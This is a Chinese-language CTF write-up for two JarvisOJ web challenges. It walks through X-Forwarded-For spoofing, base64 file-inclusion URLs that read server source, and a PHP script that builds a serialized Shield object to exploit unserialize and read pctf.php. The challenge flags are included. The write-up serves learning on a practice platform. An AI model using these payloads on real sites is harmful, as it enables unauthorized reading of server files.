[JarvisOj]Web

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

  • X-Forwarded-For Header插件修改IP


    [JarvisOj]Web_第1张图片
  • 刷新


  • PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?
题目入口:http://web.jarvisoj.com:32768/

主页

  • view source

    [JarvisOj]Web_第2张图片
    一堆乱码

  • 分析: 从url可以发现,这是一个文件包含漏洞,而且文件名是base64加密的。
    原生:img=c2hpZWxkLmpwZw==
    解密:img=shield.jpg

  • 文件包含漏洞利用

    1. 查看showimg.php源码
      view-source: http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=
      [JarvisOj]Web_第3张图片
    1. 要decode base64。
    2. stripos() 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    3...,/,\\,pctf,这些字符不能出现在img参数里
    
    1. 查看index.php源码
      view-source: http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
      [JarvisOj]Web_第4张图片
    1. 可以传递class参数
    2. 反序列化传递的class参数
    
    • require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
    • serialize和unserialize函数
      序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据。
    1. 利用文件包含漏洞,查看shield.php源码
      view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==
      [JarvisOj]Web_第5张图片
    • 打开pctf.php
      http://web.jarvisoj.com:32768/pctf.php
      FLAG: PCTF{I_4m_not_fl4g}
    • I_4m_not_fl4g,这不是flag,很遗憾。回到考点:文件包含漏洞,继续查看pctf.php的源码。
      view-source:http://web.jarvisoj.com:32768/showimg.php?img=cGN0Zi5waHA=
      File not found!
    • 审计showimg.php源码发现:不能出现pctf字符
      -->不能用showimg.php来读取pctf.php了
      -->利用index.php来读取pctf.php,构造序列化参数class,反序列化class参数来new(实例化)Shield对象,再调用shield对象的readfile方法。
      -->index.php 里的意思是对Shield('$class')反序列化了,所以我们要序列化Shield('pctf.php'),得到的参数才传入class中。
    • 写个php脚本,用warmpserver搭建服务打开网址
     file = $filename;
            }
            
            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
        $x=new Shield('pctf.php');
        echo serialize($x);
    ?>
    
    • 得到序列化Shield('pctf.php')参数
      O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
    • view-source:http://web.jarvisoj.com:32768/index.php/?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
      [JarvisOj]Web_第6张图片
    • PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

    你可能感兴趣的:([JarvisOj]Web)